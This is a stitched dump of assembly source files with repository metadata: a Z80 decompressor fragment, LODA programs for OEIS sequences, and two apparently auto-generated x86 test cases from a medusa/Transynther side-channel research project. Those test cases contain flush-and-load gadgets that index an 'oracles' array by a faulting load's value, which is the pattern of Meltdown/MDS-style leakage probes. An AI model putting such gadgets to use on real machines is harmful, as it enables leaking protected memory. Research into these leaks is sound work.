PFLAG_BITS_COPY_GT_7 | PFLAG_IMPL_1LITERAL | PFLAG_BITS_ALIGN_START) ELSE ; -P47 DEFINE PFLAG_CODE (PFLAG_BITS_ORDER_BE | PFLAG_BITS_COPY_GT_7 | PFLAG_IMPL_1LITERAL | PFLAG_BITS_ALIGN_START | PFLAG_REUSE_OFFSET) ENDIF ENDIF IF (PFLAG_CODE & PFLAG_4_OFFSET_TABLES) DEFINE map_len (16*4+4) ELSE DEFINE map_len (16*3+4) ENDIF IF ((low mapbase)<256+(128-16)-128) && ((low mapbase)>(128-16)-map_len*2+127) DEFINE map_ofs 0 ELSE DEFINE map_ofs (128-16) ENDIF map_iyh equ (high (mapbase-map_ofs+128)) map_disp_bit equ ((low (mapbase-map_ofs+128))-128) map_disp_lo equ (map_disp_bit+map_len*1) map_disp_hi equ (map_disp_bit+map_len*2) ld iy, map_iyh*256+map_ofs cp a ;set ZF ex af, af';' ld bc, map_len * 256 + 16 IF (PFLAG_CODE & PFLAG_BITS_ALIGN_START) scf ELSE or a ;reset CF ENDIF gb4 ld a, (hl) inc hl IF (PFLAG_CODE & PFLAG_BITS_ORDER_BE) get4 adc a, a ELSE get4 rr a ENDIF get4l jr z, gb4 rl c jr nc, get4 ex af, af';' ld a, c exx ld hl, 1 jr nz, .skp1 ld d, h ld e, l ld c, 16 .skp1 ld (iy+map_disp_lo), e ld (iy+map_disp_hi), d IF (PFLAG_CODE & PFLAG_BITS_COPY_GT_7) rrca inc a ld (iy+map_disp_bit), a jr nc, get5 sub 128-8+1 setbit add hl, hl get5 dec a jr nz, setbit ELSE inc a ld b, a defb 40 ;40=028h;JR Z,nnnn setbit add hl, hl djnz setbit cp 8+1 jr c, bit0 add 080h-8 bit0 ld (iy+map_disp_bit), a ENDIF add hl, de ex de, hl IFNDEF HD64180 inc iyl ELSE inc iy ENDIF dec c ex af, af';' exx ld c, 16 IF (PFLAG_CODE & PFLAG_IMPL_1LITERAL) or a ;reset CF djnz get4 ELSE IF (PFLAG_CODE & PFLAG_BITS_ORDER_BE) add a, a ELSE srl a ENDIF djnz get4l ENDIF IF (PFLAG_CODE & PFLAG_REUSE_OFFSET) ld c, b ;BC=0 ENDIF IFNDEF OPTIMIZE_JUMP ELSEIF (PFLAG_CODE & PFLAG_REUSE_OFFSET) ELSE ld ix, mloop ENDIF IF (PFLAG_CODE & PFLAG_IMPL_1LITERAL) jr litcop ELSE jr mloopl ENDIF gbi ld a, (hl) inc hl IF (PFLAG_CODE & PFLAG_BITS_ORDER_BE) adc a, a ELSE rra ENDIF IFNDEF OPTIMIZE_JUMP jr gbic ELSE jp gbic ENDIF gbm ld a, (hl) inc hl IF (PFLAG_CODE & PFLAG_BITS_ORDER_BE) adc a, a ELSE rra ENDIF jr nc, gbmc litcop: ldi mloop: IF (PFLAG_CODE & PFLAG_BITS_ORDER_BE) add a, a ELSE srl a ENDIF mloopl jr z, gbm jr c, litcop gbmc: IF (PFLAG_CODE & PFLAG_REUSE_OFFSET) push bc ENDIF IFNDEF HD64180 ld c, (map_ofs-1) & 255 ELSE ld bc, (map_ofs-1) & 255 ENDIF IF (PFLAG_CODE & PFLAG_BITS_ORDER_BE) getind add a, a ELSE getind srl a ENDIF jr z, gbi gbic inc c jr nc, getind IF map_ofs==0 bit 4, c IF literals=1 jr nz, litcat ELSEIF (PFLAG_CODE & PFLAG_REUSE_OFFSET) jr nz, reuse_exit ELSE ret nz ENDIF ELSE IF literals=1 jp m, litcat ELSEIF (PFLAG_CODE & PFLAG_REUSE_OFFSET) jp m, reuse_exit ELSE ret m ENDIF ENDIF ex de, hl IF (PFLAG_CODE & PFLAG_REUSE_OFFSET) ex (sp), hl ENDIF push hl IFNDEF HD64180 ld iyl, c ld c, 0 or a ELSE ld iy, map_iyh*256 add iy, bc ld c, b ENDIF ld b, (iy+map_disp_bit) dec b call nz, getbits ld l, (iy+map_disp_lo) ld h, (iy+map_disp_hi) add hl, bc IF (PFLAG_CODE & PFLAG_REUSE_OFFSET) ex af, af';' pop bc ld a, b or c jr z, checkreuse ex af, af';' readofs: ENDIF push hl inc h dec h jr nz, dontgo IF (PFLAG_CODE & PFLAG_4_OFFSET_TABLES) ld bc, 2*256+(map_ofs+64)/4 dec l jr z, goit ld bc, 4*256+(map_ofs+48)/16 ELSE ld bc, 2*256+(map_ofs+48)/4 ENDIF dec l jr z, goit dec l dontgo ld bc, 4*256+(map_ofs+32)/16 jr z, goit dec c goit call lee8 IFNDEF HD64180 ld iyl, c ELSE ld iy, map_iyh*256 add iy, bc ENDIF ld c, b ld b, (iy+map_disp_bit) dec b call nz, getbits ld l, (iy+map_disp_lo) ld h, (iy+map_disp_hi) add hl, bc IF (PFLAG_CODE & PFLAG_REUSE_OFFSET) push hl pop ix useofs: ENDIF ex de, hl pop bc ex (sp), hl push hl sbc hl, de pop de ldir pop hl IF (PFLAG_CODE & PFLAG_REUSE_OFFSET) inc c; BC=1 ENDIF IFNDEF OPTIMIZE_JUMP jr mloop ELSEIF (PFLAG_CODE & PFLAG_REUSE_OFFSET) jr mloop ELSE jp (ix) ENDIF IF literals=1 litcat: IF map_ofs==0 bit 0, c IF (PFLAG_CODE & PFLAG_REUSE_OFFSET) jr z, reuse_exit ELSE ret z ENDIF ELSE IF (PFLAG_CODE & PFLAG_REUSE_OFFSET) jp pe, reuse_exit ELSE ret pe ENDIF ENDIF IF (PFLAG_CODE & PFLAG_BITS_COPY_GT_7) ld b, (hl) inc hl ld c, (hl) inc hl ELSE ld bc, 8 * 256 or a ex de, hl call lee16 ex de, hl ENDIF ldir IF (PFLAG_CODE & PFLAG_REUSE_OFFSET) pop bc dec bc ENDIF IFNDEF OPTIMIZE_JUMP jr mloop ELSEIF (PFLAG_CODE & PFLAG_REUSE_OFFSET) jp mloop ELSE jp (ix) ENDIF ENDIF IF (PFLAG_CODE & PFLAG_REUSE_OFFSET) reuse_exit: pop bc ret checkreuse: ex af, af';' IF (PFLAG_CODE & PFLAG_BITS_ORDER_BE) add a, a ELSE srl a ENDIF jr nz, .skip ld a, (de) inc de IF (PFLAG_CODE & PFLAG_BITS_ORDER_BE) adc a, a ELSE rra ENDIF .skip: jr nc, readofs push ix ex (sp), hl or a ;clear CF jr useofs ENDIF getbits jp p, lee8 sla b jr z, gby srl b defb 250 ;250=0FAh;JP M,nnnn xopy ld a, (de) inc de IF (PFLAG_CODE & PFLAG_BITS_ORDER_BE) lee16 adc a, a ELSE lee16 rr a ENDIF jr z, xopy rl c djnz lee16 ld b, c IF (PFLAG_CODE & PFLAG_BITS_COPY_GT_7) gby ex de, hl ld c, (hl) inc hl ex de, hl ret ELSE gby ld c, 1 or a defb 218 ;218=0DAh;JP C,nnnn .f ld a, (de) inc de IF (PFLAG_CODE & PFLAG_BITS_ORDER_BE) .l adc a, a ELSE .l rr a ENDIF jr z, .f rl c jr nc, .l ret ENDIF copy ld a, (de) inc de IF (PFLAG_CODE & PFLAG_BITS_ORDER_BE) lee8 adc a, a ELSE lee8 rr a ENDIF jr z, copy rl c djnz lee8 ret
21.355236
136
0.498462
baa2f6d3a8709c061ad6eeb16682d5ebf0e59d8e
383
asm
Assembly
programs/oeis/108/A108474.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/108/A108474.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/108/A108474.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A108474: Expansion of 1/(1-2x)(1+4x^2)). ; 1,2,0,0,16,32,0,0,256,512,0,0,4096,8192,0,0,65536,131072,0,0,1048576,2097152,0,0,16777216,33554432,0,0,268435456,536870912,0,0,4294967296,8589934592,0,0,68719476736,137438953472,0,0,1099511627776 mov $1,1 mov $2,36 mov $3,2 mov $4,$0 lpb $0 sub $0,1 mul $1,2 mul $4,$0 mod $4,4 pow $3,$4 trn $3,2 pow $2,$3 div $1,$2 lpe
21.277778
197
0.650131
dfb85fbe6a4b29e94e43ced929ec1c95d1cc7c56
4,536
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_zr_/i7-8650U_0xd2.log_21829_1712.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i7-8650U_0xd2.log_21829_1712.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i7-8650U_0xd2.log_21829_1712.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r12 push %r15 push %rbp push %rbx push %rdx lea addresses_WC_ht+0x1de28, %r10 nop nop nop dec %rbp movb $0x61, (%r10) nop nop nop nop nop sub %r12, %r12 lea addresses_UC_ht+0x7350, %rbp nop nop nop nop cmp %rdx, %rdx mov (%rbp), %ebx nop nop nop cmp %r12, %r12 lea addresses_WT_ht+0x14af8, %r11 nop nop nop inc %r15 mov (%r11), %r10d nop nop nop add %r15, %r15 pop %rdx pop %rbx pop %rbp pop %r15 pop %r12 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r13 push %r14 push %r15 push %rbx push %rdi // Faulty Load mov $0x77a23a0000000b90, %rbx clflush (%rbx) nop nop nop nop nop inc %r12 mov (%rbx), %r13w lea oracles, %rbx and $0xff, %r13 shlq $12, %r13 mov (%rbx,%r13,1), %r13 pop %rdi pop %rbx pop %r15 pop %r14 pop %r13 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 2, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': True, 'NT': False, 'congruent': 3, 'same': False}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
47.25
2,999
0.660273
2e4a09ecb8cb9b013b43c132c13612291d78d1e6
523
asm
Assembly
programs/oeis/081/A081256.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/081/A081256.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/081/A081256.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A081256: Greatest prime factor of n^3 + 1. ; 2,3,7,13,7,31,43,19,73,13,37,19,157,61,211,241,13,307,7,127,421,463,13,79,601,31,37,757,271,67,19,331,151,1123,397,97,43,67,1483,223,547,1723,139,631,283,109,103,61,181,43,2551,379,919,409,2971,79,103,3307,163,3541,523,97,3907,109,73,613,4423,31,19,4831,1657,5113,751,1801,61,5701,1951,6007,6163,43,6481,83,2269,367,193,2437,1069,89,373,8011,8191,2791,199,1249,229,1303,139,3169,313,9901 add $0,1 pow $0,3 seq $0,6530 ; Gpf(n): greatest prime dividing n, for n >= 2; a(1)=1.
74.714286
389
0.709369
1324254a3bcc367f79b4fe5b02288ca1e7c52c5b
239
nasm
Assembly
Project-Einstein/src/E-Assembly/src/labs/jmp1.nasm
FelixLuciano/Elements-of-Computing-Systems
bf36e4f4bbaa75aebefd1b864514a146b371495d
[ "MIT" ]
null
null
null
Project-Einstein/src/E-Assembly/src/labs/jmp1.nasm
FelixLuciano/Elements-of-Computing-Systems
bf36e4f4bbaa75aebefd1b864514a146b371495d
[ "MIT" ]
null
null
null
Project-Einstein/src/E-Assembly/src/labs/jmp1.nasm
FelixLuciano/Elements-of-Computing-Systems
bf36e4f4bbaa75aebefd1b864514a146b371495d
[ "MIT" ]
1
2022-02-20T21:45:28.000Z
2022-02-20T21:45:28.000Z
leaw $2, %A movw %A, %D leaw $0, %A movw %D, (%A) ; RAM[0] = 2 leaw $1, %A movw (%A), %D ; busca valor verificar (RAM[1]) leaw $END, %A ; prepara salto jne ; RAM[1] == 0? nop leaw $1, %A movw $1, (%A) ; RAM[=] = 1 END:
18.384615
46
0.476987
ba256e94e7e228f4f5a05ceae749bd4a4fe0f50c
356
asm
Assembly
programs/oeis/049/A049294.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/049/A049294.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/049/A049294.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A049294: Number of subgroups of index 3 in free group of rank n+1. ; 1,13,97,625,3841,23233,139777,839425,5038081,30231553,181395457,1088385025,6530334721,39182057473,235092443137,1410554855425,8463329525761,50779977940993,304679869218817,1828079218458625 mov $2,$0 mov $3,2 lpb $2,1 mul $3,3 add $1,$3 mul $1,2 sub $2,1 mul $3,2 lpe add $1,1
25.428571
188
0.747191
8162494ae27bd76ba31f1de10faddcd85c4cc688
7,796
asm
Assembly
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca.log_21829_885.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca.log_21829_885.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca.log_21829_885.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r13 push %r14 push %r15 push %r9 push %rcx push %rdi push %rsi lea addresses_UC_ht+0x1cd92, %r11 nop nop nop nop nop sub %rsi, %rsi and $0xffffffffffffffc0, %r11 movaps (%r11), %xmm2 vpextrq $1, %xmm2, %r14 nop nop nop nop nop and %rsi, %rsi lea addresses_WC_ht+0x7392, %r9 nop nop xor %r13, %r13 mov $0x6162636465666768, %rsi movq %rsi, (%r9) nop sub %r11, %r11 lea addresses_normal_ht+0x5fd2, %r15 nop nop nop sub $32849, %r11 movl $0x61626364, (%r15) nop nop nop nop nop and $19812, %r9 lea addresses_WC_ht+0x1b692, %r13 nop nop nop nop add $49944, %r10 movb $0x61, (%r13) nop nop nop nop add $63907, %r13 lea addresses_UC_ht+0x11392, %r11 nop xor %rsi, %rsi vmovups (%r11), %ymm1 vextracti128 $0, %ymm1, %xmm1 vpextrq $0, %xmm1, %r9 inc %r9 lea addresses_D_ht+0x16592, %rsi nop nop cmp $60607, %r10 movups (%rsi), %xmm4 vpextrq $1, %xmm4, %r14 nop nop nop nop xor %r13, %r13 lea addresses_normal_ht+0x8ed2, %rsi xor %r11, %r11 mov (%rsi), %r10d cmp %r13, %r13 lea addresses_A_ht+0x3e34, %rsi lea addresses_D_ht+0x4c92, %rdi nop nop nop nop cmp $11756, %r10 mov $91, %rcx rep movsb nop nop nop add $13346, %r15 lea addresses_D_ht+0x2ec8, %r9 nop sub $44661, %r11 movups (%r9), %xmm2 vpextrq $1, %xmm2, %r14 nop nop nop cmp $41494, %r14 lea addresses_WC_ht+0x1c292, %r13 clflush (%r13) and %r10, %r10 mov (%r13), %di xor %r11, %r11 lea addresses_WT_ht+0x8ebc, %rsi lea addresses_A_ht+0xe33e, %rdi nop add %r11, %r11 mov $14, %rcx rep movsw nop nop nop inc %rcx lea addresses_UC_ht+0x10b92, %r15 nop nop and $36798, %rdi movups (%r15), %xmm0 vpextrq $0, %xmm0, %r11 nop dec %rdi lea addresses_normal_ht+0x99aa, %rsi lea addresses_WC_ht+0xb52, %rdi clflush (%rsi) nop and $14416, %r11 mov $102, %rcx rep movsb and $40513, %rdi lea addresses_UC_ht+0x11512, %rsi lea addresses_normal_ht+0x1bb92, %rdi nop cmp $6977, %r9 mov $88, %rcx rep movsq nop nop nop nop inc %r9 lea addresses_WC_ht+0x7592, %r15 nop nop nop nop nop dec %r11 movb (%r15), %r13b nop inc %r13 pop %rsi pop %rdi pop %rcx pop %r9 pop %r15 pop %r14 pop %r13 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r9 push %rbp push %rbx push %rcx push %rsi // Faulty Load lea addresses_WC+0x18f92, %r9 sub $28344, %rbp vmovups (%r9), %ymm5 vextracti128 $1, %ymm5, %xmm5 vpextrq $1, %xmm5, %rbx lea oracles, %rbp and $0xff, %rbx shlq $12, %rbx mov (%rbp,%rbx,1), %rbx pop %rsi pop %rcx pop %rbx pop %rbp pop %r9 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_WC'}, 'OP': 'LOAD'} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 32, 'NT': False, 'type': 'addresses_WC'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'congruent': 8, 'AVXalign': True, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_WC_ht'}} {'OP': 'STOR', 'dst': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_normal_ht'}} {'OP': 'STOR', 'dst': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_WC_ht'}} {'src': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 1, 'same': True, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_D_ht'}} {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 8, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 0, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_A_ht'}} {'src': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 2, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_WC_ht'}} {'src': {'congruent': 7, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 10, 'same': False, 'type': 'addresses_normal_ht'}} {'src': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
35.598174
2,999
0.656619
fa3c9f504577e6fea33a8e7cafbf2df55d2925d7
319
asm
Assembly
oeis/021/A021846.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/021/A021846.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/021/A021846.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A021846: Decimal expansion of 1/842. ; Submitted by Jon Maiga ; 0,0,1,1,8,7,6,4,8,4,5,6,0,5,7,0,0,7,1,2,5,8,9,0,7,3,6,3,4,2,0,4,2,7,5,5,3,4,4,4,1,8,0,5,2,2,5,6,5,3,2,0,6,6,5,0,8,3,1,3,5,3,9,1,9,2,3,9,9,0,4,9,8,8,1,2,3,5,1,5,4,3,9,4,2,9,9,2,8,7,4,1,0,9,2,6,3,6,5 seq $0,199685 ; a(n) = 5*10^n+1. div $0,421 mod $0,10
39.875
199
0.554859
